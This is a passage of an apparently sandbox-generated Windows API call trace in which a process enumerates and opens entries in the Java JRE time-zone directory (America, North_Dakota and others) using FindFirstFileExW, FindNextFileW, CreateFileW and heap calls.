returned 1 [0088.620] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326918 [0088.620] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bf148 [0088.620] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130f700 [0088.620] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326918) returned 1 [0088.620] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Monticello", cAlternateFileName="")) returned 0 [0088.620] GetLastError () returned 0x12 [0088.620] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Kentucky\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e8f80 [0088.620] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0088.621] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.621] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x5dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Louisville", cAlternateFileName="")) returned 1 [0088.621] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Monticello", cAlternateFileName="")) returned 1 [0088.621] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Monticello", cAlternateFileName="")) returned 0 [0088.621] GetLastError () returned 0x12 [0088.621] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13266f8) returned 1 [0088.621] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0088.621] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x130c370) returned 1 [0088.621] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.622] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x51, dwReserved0=0x0, dwReserved1=0x0, cFileName="La_Paz", cAlternateFileName="")) returned 1 [0088.622] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lima", cAlternateFileName="")) returned 1 [0088.622] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x618, dwReserved0=0x0, dwReserved1=0x0, cFileName="Los_Angeles", cAlternateFileName="")) returned 1 [0088.622] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x189, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maceio", cAlternateFileName="")) returned 1 [0088.622] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Managua", cAlternateFileName="")) returned 1 [0088.622] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x139, dwReserved0=0x0, dwReserved1=0x0, cFileName="Manaus", cAlternateFileName="")) returned 1 [0088.622] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Martinique", cAlternateFileName="")) returned 1 [0088.622] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x314, dwReserved0=0x0, dwReserved1=0x0, cFileName="Matamoros", cAlternateFileName="")) returned 1 [0088.622] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x348, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mazatlan", cAlternateFileName="")) returned 1 [0088.622] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Menominee", cAlternateFileName="")) returned 1 [0088.622] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x314, dwReserved0=0x0, dwReserved1=0x0, cFileName="Merida", cAlternateFileName="")) returned 1 [0088.622] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x149, dwReserved0=0x0, dwReserved1=0x0, cFileName="Metlakatla", cAlternateFileName="")) returned 1 [0088.622] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x370, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mexico_City", cAlternateFileName="")) returned 1 [0088.622] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Miquelon", cAlternateFileName="")) returned 1 [0088.622] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Moncton", cAlternateFileName="")) returned 1 [0088.622] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x314, dwReserved0=0x0, dwReserved1=0x0, cFileName="Monterrey", cAlternateFileName="")) returned 1 [0088.622] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x480, dwReserved0=0x0, dwReserved1=0x0, cFileName="Montevideo", cAlternateFileName="")) returned 1 [0088.622] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x788, dwReserved0=0x0, dwReserved1=0x0, cFileName="Montreal", cAlternateFileName="")) returned 1 [0088.622] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Montserrat", cAlternateFileName="")) returned 1 [0088.622] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x504, dwReserved0=0x0, dwReserved1=0x0, cFileName="Nassau", cAlternateFileName="")) returned 1 [0088.622] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="New_York", cAlternateFileName="")) returned 1 [0088.622] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x478, dwReserved0=0x0, dwReserved1=0x0, cFileName="Nipigon", cAlternateFileName="")) returned 1 [0088.622] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Nome", cAlternateFileName="")) returned 1 [0088.622] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x179, dwReserved0=0x0, dwReserved1=0x0, cFileName="Noronha", cAlternateFileName="")) returned 1 [0088.622] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="North_Dakota", cAlternateFileName="")) returned 1 [0088.622] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.622] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\North_Dakota" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\north_dakota"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0088.623] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\North_Dakota" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\north_dakota"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0088.623] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0088.623] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1332f60 [0088.623] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1332f60, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1332f60, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0088.624] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1332f60) returned 1 [0088.624] NtClose (Handle=0x174) returned 0x0 [0088.624] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.624] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.624] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13266f8 [0088.624] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326918 [0088.625] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\North_Dakota\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e8f80 [0088.625] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.625] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Beulah", cAlternateFileName="")) returned 1 [0088.625] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13265e8 [0088.625] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13265e8) returned 1 [0088.625] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13265e8 [0088.626] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13265e8) returned 1 [0088.626] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13265e8 [0088.626] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130c370 [0088.626] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13266f8) returned 1 [0088.626] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bf168 [0088.626] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130f808 [0088.627] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13265e8) returned 1 [0088.627] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Center", cAlternateFileName="")) returned 1 [0088.627] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13265e8 [0088.627] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13265e8) returned 1 [0088.627] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13265e8 [0088.628] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13265e8) returned 1 [0088.628] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13265e8 [0088.628] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bf188 [0088.628] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130f910 [0088.629] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13265e8) returned 1 [0088.629] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="New_Salem", cAlternateFileName="")) returned 1 [0088.629] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13265e8 [0088.629] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13265e8) returned 1 [0088.629] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13265e8 [0088.630] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13265e8) returned 1 [0088.630] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13265e8 [0088.630] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bf1a8 [0088.630] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130fa18 [0088.630] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13265e8) returned 1 [0088.630] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="New_Salem", cAlternateFileName="")) returned 0 [0088.630] GetLastError () returned 0x12 [0088.630] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\North_Dakota\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e90c0 [0088.631] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0088.631] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.631] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, 